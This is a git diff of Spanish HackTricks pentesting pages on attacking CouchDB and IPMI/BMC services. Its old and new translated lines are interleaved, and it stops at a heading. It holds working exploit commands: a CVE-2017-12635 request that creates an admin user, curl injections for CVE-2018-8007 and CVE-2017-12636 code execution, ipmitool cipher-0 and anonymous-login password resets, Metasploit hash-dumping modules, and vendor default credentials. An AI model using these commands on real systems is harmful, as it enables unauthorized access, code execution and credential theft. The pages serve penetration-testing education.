Se puede extraer información más interesante como se explica aquí: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
@ -72,17 +73,17 @@ Se puede extraer información más interesante como se explica aquí: [https://l
```
curl -X GET http://IP:5984/_all_dbs
```
Si esa solicitud responde con un **401 no autorizado**, entonces necesitas algunas **credenciales válidas** para acceder a la base de datos:
Si esa solicitud **responde con un 401 no autorizado**, entonces necesitas algunas **credenciales válidas** para acceder a la base de datos:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Para encontrar Credenciales válidas podrías **intentar** [**realizar un ataque de fuerza bruta al servicio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Para encontrar credenciales válidas, podrías **intentar** [**forzar el servicio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este es un **ejemplo** de una **respuesta** de couchdb cuando tienes **suficientes privilegios** para listar bases de datos (Es solo una lista de bases de datos):
Este es un **ejemplo** de una **respuesta** de couchdb cuando tienes **suficientes privilegios** para listar bases de datos (Es solo una lista de dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Información de la base de datos
### Database Info
Puedes obtener información de la base de datos (como el número de archivos y tamaños) accediendo al nombre de la base de datos:
```bash
@ -93,7 +94,7 @@ curl http://localhost:5984/simpsons
```
### **Lista de Documentos**
Enumera cada entrada dentro de una base de datos
Lista cada entrada dentro de una base de datos
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
@ -110,45 +111,45 @@ curl http://localhost:5984/simpsons/_all_docs
```
### **Leer Documento**
Lea el contenido de un documento dentro de una base de datos:
Leer el contenido de un documento dentro de una base de datos:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalada de privilegios en CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
## Escalación de privilegios de CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, podrías **crear un usuario administrador** con credenciales `hacktricks:hacktricks` con la siguiente solicitud:
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, podrías **crear un usuario administrador** con las credenciales `hacktricks:hacktricks` con la siguiente solicitud:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Más información sobre esta vulnerabilidad aquí**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## RCE de CouchDB
## CouchDB RCE
### **Resumen de Seguridad de la Cookie de Erlang**
### **Descripción general de la seguridad del cookie de Erlang**
Ejemplo [desde aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ejemplo [de aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
En la documentación de CouchDB, específicamente en la sección sobre la configuración de clúster ([enlace](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), se discute el uso de puertos por parte de CouchDB en modo clúster. Se menciona que, al igual que en el modo independiente, se utiliza el puerto `5984`. Además, el puerto `5986` es para APIs locales de nodos, y es importante destacar que Erlang requiere el puerto TCP `4369` para el Demonio del Mapeador de Puertos de Erlang (EPMD), facilitando la comunicación entre nodos dentro de un clúster de Erlang. Esta configuración forma una red donde cada nodo está interconectado con todos los demás nodos.
En la documentación de CouchDB, específicamente en la sección sobre la configuración del clúster ([enlace](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), se discute el uso de puertos por CouchDB en modo clúster. Se menciona que, al igual que en modo independiente, se utiliza el puerto `5984`. Además, el puerto `5986` es para APIs locales de nodo, y lo que es importante, Erlang requiere el puerto TCP `4369` para el Demonio de Mapeo de Puertos de Erlang (EPMD), facilitando la comunicación entre nodos dentro de un clúster de Erlang. Esta configuración forma una red donde cada nodo está interconectado con todos los demás nodos.
Se destaca un aviso de seguridad crucial con respecto al puerto `4369`. Si este puerto se hace accesible a través de Internet o cualquier red no confiable, la seguridad del sistema depende en gran medida de un identificador único conocido como la "cookie". Esta cookie actúa como una salvaguarda. Por ejemplo, en una lista de procesos dada, se podría observar una cookie llamada "monster", lo que indica su papel operativo en el marco de seguridad del sistema.
Se destaca un aviso de seguridad crucial respecto al puerto `4369`. Si este puerto se hace accesible a través de Internet o cualquier red no confiable, la seguridad del sistema depende en gran medida de un identificador único conocido como "cookie". Esta cookie actúa como una salvaguarda. Por ejemplo, en una lista de procesos dada, se podría observar la cookie llamada "monster", lo que indica su papel operativo en el marco de seguridad del sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Para aquellos interesados en entender cómo esta "cookie" puede ser explotada para la Ejecución Remota de Código (RCE) dentro del contexto de sistemas Erlang, hay una sección dedicada disponible para lectura adicional. Detalla las metodologías para aprovechar las cookies de Erlang de manera no autorizada para lograr control sobre los sistemas. Puedes **[explorar la guía detallada sobre el abuso de cookies de Erlang para RCE aquí](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
Para aquellos interesados en entender cómo se puede explotar esta "cookie" para la Ejecución Remota de Código (RCE) dentro del contexto de sistemas Erlang, hay una sección dedicada disponible para una lectura más profunda. Detalla las metodologías para aprovechar las cookies de Erlang de maneras no autorizadas para lograr el control sobre los sistemas. Puedes **[explorar la guía detallada sobre el abuso de cookies de Erlang para RCE aquí](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Explotando CVE-2018-8007 mediante la modificación de local.ini**
### **Explotando CVE-2018-8007 a través de la modificación de local.ini**
Ejemplo [aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ejemplo [de aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Se exploró una vulnerabilidad recientemente divulgada, CVE-2018-8007, que afecta a Apache CouchDB, revelando que la explotación requiere permisos de escritura en el archivo `local.ini`. Aunque no es directamente aplicable al sistema objetivo inicial debido a restricciones de seguridad, se realizaron modificaciones para otorgar acceso de escritura al archivo `local.ini` con fines de exploración. A continuación, se proporcionan pasos detallados y ejemplos de código, demostrando el proceso.
Se exploró una vulnerabilidad recientemente divulgada, CVE-2018-8007, que afecta a Apache CouchDB, revelando que la explotación requiere permisos de escritura en el archivo `local.ini`. Aunque no es directamente aplicable al sistema objetivo inicial debido a restricciones de seguridad, se realizaron modificaciones para otorgar acceso de escritura al archivo `local.ini` con fines de exploración. A continuación se proporcionan pasos detallados y ejemplos de código que demuestran el proceso.
Primero, se prepara el entorno asegurándose de que el archivo `local.ini` sea escribible, verificado mediante la lista de permisos:
Primero, se prepara el entorno asegurando que el archivo `local.ini` sea escribible, verificado al listar los permisos:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
@ -156,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Para explotar la vulnerabilidad, se ejecuta un comando curl, apuntando a la configuración `cors/origins` en `local.ini`. Esto inyecta un nuevo origen junto con comandos adicionales bajo la sección `[os_daemons]`, con el objetivo de ejecutar código arbitrario:
Para explotar la vulnerabilidad, se ejecuta un comando curl, dirigido a la configuración `cors/origins` en `local.ini`. Esto inyecta un nuevo origen junto con comandos adicionales bajo la sección `[os_daemons]`, con el objetivo de ejecutar código arbitrario:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
La verificación posterior muestra la configuración inyectada en `local.ini`, contrastándola con una copia de seguridad para resaltar los cambios:
La verificación subsiguiente muestra la configuración inyectada en `local.ini`, contrastándola con una copia de seguridad para resaltar los cambios:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
@ -169,57 +170,57 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Inicialmente, el archivo esperado (`/tmp/0xdf`) no existe, lo que indica que el comando inyectado aún no se ha ejecutado. Una investigación adicional revela que hay procesos relacionados con CouchDB en ejecución, incluido uno que potencialmente podría ejecutar el comando inyectado:
Inicialmente, el archivo esperado (`/tmp/0xdf`) no existe, lo que indica que el comando inyectado aún no se ha ejecutado. Una investigación adicional revela que hay procesos relacionados con CouchDB en ejecución, incluyendo uno que podría potencialmente ejecutar el comando inyectado:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Al terminar el proceso de CouchDB identificado y permitir que el sistema lo reinicie automáticamente, se activa la ejecución del comando inyectado, confirmado por la existencia del archivo previamente faltante:
Al terminar el proceso de CouchDB identificado y permitir que el sistema lo reinicie automáticamente, se activa la ejecución del comando inyectado, confirmado por la existencia del archivo que faltaba anteriormente:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Esta exploración confirma la viabilidad de la explotación de CVE-2018-8007 bajo condiciones específicas, especialmente el requisito de acceso de escritura al archivo `local.ini`. Los ejemplos de código proporcionados y los pasos procedimentales ofrecen una guía clara para replicar el exploit en un entorno controlado.
Esta exploración confirma la viabilidad de la explotación de CVE-2018-8007 bajo condiciones específicas, notablemente el requisito de acceso escribible al archivo `local.ini`. Los ejemplos de código proporcionados y los pasos procedimentales ofrecen una guía clara para replicar la explotación en un entorno controlado.
Para más detalles sobre CVE-2018-8007, consulta el aviso de mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Explorando CVE-2017-12636 con Permisos de Escritura en local.ini**
### **Explorando CVE-2017-12636 con permisos de escritura en local.ini**
Ejemplo [desde aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ejemplo [de aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Se exploró una vulnerabilidad conocida como CVE-2017-12636, que permite la ejecución de código a través del proceso de CouchDB, aunque configuraciones específicas pueden evitar su explotación. A pesar de la disponibilidad de numerosas referencias de Prueba de Concepto (POC) en línea, se requieren ajustes para explotar la vulnerabilidad en la versión 2 de CouchDB, que difiere de la versión comúnmente objetivo 1.x. Los pasos iniciales implican verificar la versión de CouchDB y confirmar la ausencia de la ruta esperada de los servidores de consulta.
Se exploró una vulnerabilidad conocida como CVE-2017-12636, que permite la ejecución de código a través del proceso de CouchDB, aunque configuraciones específicas pueden prevenir su explotación. A pesar de las numerosas referencias de Prueba de Concepto (POC) disponibles en línea, son necesarios ajustes para explotar la vulnerabilidad en la versión 2 de CouchDB, que difiere de la versión 1.x comúnmente atacada. Los pasos iniciales implican verificar la versión de CouchDB y confirmar la ausencia de la ruta esperada de los servidores de consulta:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Para dar cabida a CouchDB versión 2.0, se utiliza una nueva ruta:
Para acomodar la versión 2.0 de CouchDB, se utiliza una nueva ruta:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con los permisos, como se indica en la siguiente salida:
Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con permisos, como se indica en la siguiente salida:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Además de la investigación inicial, se descubrieron problemas de permisos con el archivo `local.ini`, el cual no era modificable. Al modificar los permisos del archivo con acceso de root o de homer, fue posible continuar:
Una investigación adicional reveló problemas de permisos con el archivo `local.ini`, que no era escribible. Al modificar los permisos del archivo con acceso root o homer, se volvió posible continuar:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Los intentos posteriores de agregar el servidor de consultas tuvieron éxito, como se demostró por la ausencia de mensajes de error en la respuesta. La modificación exitosa del archivo `local.ini` fue confirmada mediante la comparación de archivos:
Los intentos posteriores de agregar el servidor de consultas tuvieron éxito, como lo demuestra la falta de mensajes de error en la respuesta. La modificación exitosa del archivo `local.ini` se confirmó a través de la comparación de archivos:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
El proceso continuó con la creación de una base de datos y un documento, seguido por un intento de ejecutar código a través de un mapeo de vista personalizado hacia el servidor de consulta recién agregado:
El proceso continuó con la creación de una base de datos y un documento, seguido de un intento de ejecutar código a través de un mapeo de vista personalizado al servidor de consultas recién agregado:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Un **[resumen](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con un payload alternativo proporciona más información sobre la explotación de CVE-2017-12636 bajo condiciones específicas. **Recursos útiles** para explotar esta vulnerabilidad incluyen:
A **[resumen](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con una carga útil alternativa proporciona más información sobre la explotación de CVE-2017-12636 bajo condiciones específicas. **Recursos útiles** para explotar esta vulnerabilidad incluyen:
- [Código de exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Entrada de Exploit Database](https://www.exploit-db.com/exploits/44913/)
- [Código de explotación POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Entrada en la base de datos de exploits](https://www.exploit-db.com/exploits/44913/)
## Shodan
@ -230,16 +231,17 @@ Un **[resumen](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -2,41 +2,42 @@
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
### **Visión general de IPMI**
### **Descripción General de IPMI**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** ofrece un enfoque estandarizado para la gestión remota y monitoreo de sistemas informáticos, independientemente del sistema operativo o estado de energía. Esta tecnología permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando están apagados o no responden, y es especialmente útil para:
**[Interfaz de Gestión de Plataforma Inteligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** ofrece un enfoque estandarizado para la gestión y monitoreo remoto de sistemas informáticos, independiente del sistema operativo o estado de energía. Esta tecnología permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando están apagados o no responden, y es especialmente útil para:
- Configuraciones de arranque previo al sistema operativo
- Configuraciones previas al arranque del sistema operativo
- Gestión de apagado
- Recuperación de fallos del sistema
IPMI es capaz de monitorear temperaturas, voltajes, velocidades de los ventiladores y fuentes de alimentación, además de proporcionar información de inventario, revisar registros de hardware y enviar alertas a través de SNMP. Para su funcionamiento es esencial una fuente de alimentación y una conexión LAN.
IPMI es capaz de monitorear temperaturas, voltajes, velocidades de ventiladores y fuentes de alimentación, además de proporcionar información de inventario, revisar registros de hardware y enviar alertas a través de SNMP. Esencial para su funcionamiento son una fuente de energía y una conexión LAN.
Desde su introducción por Intel en 1998, IPMI ha sido compatible con numerosos proveedores, mejorando las capacidades de gestión remota, especialmente con el soporte de la versión 2.0 para serie sobre LAN. Los componentes clave incluyen:
Desde su introducción por Intel en 1998, IPMI ha sido respaldado por numerosos proveedores, mejorando las capacidades de gestión remota, especialmente con el soporte de la versión 2.0 para serie sobre LAN. Los componentes clave incluyen:
- **Controlador de Gestión de Placa Base (BMC):** El microcontrolador principal para las operaciones de IPMI.
- **Buses e Interfaces de Comunicación:** Para comunicación interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.
- **Buses y Interfaces de Comunicación:** Para comunicación interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.
- **Memoria IPMI:** Para almacenar registros y datos.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Puerto Predeterminado**: 623/UDP/TCP (Generalmente se encuentra en UDP pero también podría estar en TCP)
**Puerto Predeterminado**: 623/UDP/TCP (Normalmente está en UDP, pero también podría estar funcionando en TCP)
## Enumeración
@ -53,60 +54,60 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### Vulnerabilidades de IPMI
En el ámbito de IPMI 2.0, se descubrió una importante falla de seguridad por Dan Farmer, exponiendo una vulnerabilidad a través del **tipo de cifrado 0**. Esta vulnerabilidad, documentada en detalle en la [investigación de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permite el acceso no autorizado con cualquier contraseña siempre que se apunte a un usuario válido. Esta debilidad se encontró en varios BMCs de fabricantes como HP, Dell y Supermicro, lo que sugiere un problema generalizado en todas las implementaciones de IPMI 2.0.
En el ámbito de IPMI 2.0, se descubrió un defecto de seguridad significativo por Dan Farmer, exponiendo una vulnerabilidad a través de **cipher type 0**. Esta vulnerabilidad, documentada en detalle en [la investigación de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permite el acceso no autorizado con cualquier contraseña siempre que se apunte a un usuario válido. Esta debilidad se encontró en varios BMC de fabricantes como HP, Dell y Supermicro, lo que sugiere un problema generalizado en todas las implementaciones de IPMI 2.0.
### **Bypass de Autenticación de IPMI a través de Cipher 0**
Para detectar esta falla, se puede emplear el siguiente escáner auxiliar de Metasploit:
Para detectar este defecto, se puede emplear el siguiente escáner auxiliar de Metasploit:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
La explotación de esta falla es posible con `ipmitool`, como se muestra a continuación, lo que permite la lista y modificación de contraseñas de usuario:
La explotación de esta falla es alcanzable con `ipmitool`, como se demuestra a continuación, lo que permite la enumeración y modificación de contraseñas de usuario:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 Recuperación remota de hash de contraseña de autenticación RAKP**
### **Recuperación de Hash de Contraseña Remota de Autenticación RAKP de IPMI 2.0**
Esta vulnerabilidad permite la recuperación de contraseñas con hash salado (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un módulo:
Esta vulnerabilidad permite la recuperación de contraseñas hasheadas con sal (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un módulo:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **Autenticación Anónima de IPMI**
Una configuración predeterminada en muchos BMCs permite el acceso "anónimo", caracterizado por cadenas de nombre de usuario y contraseña nulas. Esta configuración puede ser explotada para restablecer contraseñas de cuentas de usuario nombradas utilizando `ipmitool`:
Una configuración predeterminada en muchos BMC permite el acceso "anónimo", caracterizado por cadenas de nombre de usuario y contraseña nulas. Esta configuración puede ser explotada para restablecer contraseñas de cuentas de usuario nombradas utilizando `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Contraseñas en texto claro de IPMI de Supermicro**
### **Supermicro IPMI Contraseñas en texto claro**
Una elección de diseño crítica en IPMI 2.0 requiere el almacenamiento de contraseñas en texto claro dentro de los BMC para fines de autenticación. El almacenamiento de Supermicro de estas contraseñas en ubicaciones como `/nv/PSBlock` o `/nv/PSStore` plantea preocupaciones de seguridad significativas:
Una elección de diseño crítica en IPMI 2.0 requiere el almacenamiento de contraseñas en texto claro dentro de los BMC para fines de autenticación. El almacenamiento de estas contraseñas por parte de Supermicro en ubicaciones como `/nv/PSBlock` o `/nv/PSStore` plantea preocupaciones de seguridad significativas:
```bash
cat /nv/PSBlock
```
### **Vulnerabilidad de UPnP de Supermicro IPMI**
### **Vulnerabilidad UPnP de Supermicro IPMI**
La inclusión por parte de Supermicro de un escucha UPnP SSDP en su firmware de IPMI, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versión 1.3.1, como se detalla en la [divulgación de Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permiten el acceso root al BMC:
La inclusión de un oyente SSDP UPnP en el firmware IPMI de Supermicro, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versión 1.3.1, como se detalla en la [divulgación de Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permiten el acceso root al BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Ataque de Fuerza Bruta
### Fuerza Bruta
**HP aleatoriza la contraseña predeterminada** para su producto **Integrated Lights Out (iLO)** durante la fabricación. Esta práctica contrasta con otros fabricantes, que tienden a utilizar **credenciales predeterminadas estáticas**. Se proporciona un resumen de nombres de usuario y contraseñas predeterminadas para varios productos de la siguiente manera:
**HP aleatoriza la contraseña predeterminada** para su producto **Integrated Lights Out (iLO)** durante la fabricación. Esta práctica contrasta con otros fabricantes, que tienden a usar **credenciales predeterminadas estáticas**. A continuación se presenta un resumen de los nombres de usuario y contraseñas predeterminados para varios productos:
- **HP Integrated Lights Out (iLO)** utiliza una **cadena de 8 caracteres aleatoria de fábrica** como su contraseña predeterminada, mostrando un nivel de seguridad más alto.
- Productos como **Dell's iDRAC, IBM's IMM** y **Fujitsu's Integrated Remote Management Controller** utilizan contraseñas fáciles de adivinar como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.
- De manera similar, **Supermicro IPMI (2.0), Oracle/Sun ILOM** y **ASUS iKVM BMC** también utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" como contraseñas.
- **HP Integrated Lights Out (iLO)** utiliza una **cadena aleatoria de 8 caracteres** como su contraseña predeterminada, mostrando un nivel de seguridad más alto.
- Productos como **iDRAC de Dell, IMM de IBM** y **Controlador de Gestión Remota Integrado de Fujitsu** utilizan contraseñas fácilmente adivinables como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.
- De manera similar, **Supermicro IPMI (2.0), Oracle/Sun ILOM** y **ASUS iKVM BMC** también utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" sirviendo como sus contraseñas.
## Accediendo al Host a través de BMC
El acceso administrativo al Controlador de Gestión de la Placa Base (BMC) abre diversas vías para acceder al sistema operativo del host. Un enfoque directo implica explotar la funcionalidad de Teclado, Video, Ratón (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell raíz a través de GRUB (usando `init=/bin/sh`) o arrancando desde un CD-ROM virtual configurado como un disco de rescate. Estos métodos permiten la manipulación directa del disco del host, incluida la inserción de puertas traseras, extracción de datos o cualquier acción necesaria para una evaluación de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecución es más complejo y varía según la configuración del host. Si la consola física o serie del host permanece iniciada, se puede tomar fácilmente a través de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante `ipmitool`. Explorar la explotación de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un área que requiere una investigación adicional.
El acceso administrativo al Controlador de Gestión de Placa Base (BMC) abre diversas vías para acceder al sistema operativo del host. Un enfoque sencillo implica explotar la funcionalidad de Teclado, Video, Ratón (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell root a través de GRUB (usando `init=/bin/sh`) o arrancando desde un CD-ROM virtual configurado como disco de rescate. Tales métodos permiten la manipulación directa del disco del host, incluyendo la inserción de puertas traseras, extracción de datos o cualquier acción necesaria para una evaluación de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecución es más complejo y varía según la configuración del host. Si la consola física o serie del host permanece conectada, puede ser fácilmente tomada a través de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante `ipmitool`. Explorar la explotación de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un área que requiere más investigación.
## Introduciendo Puertas Traseras en BMC desde el Host
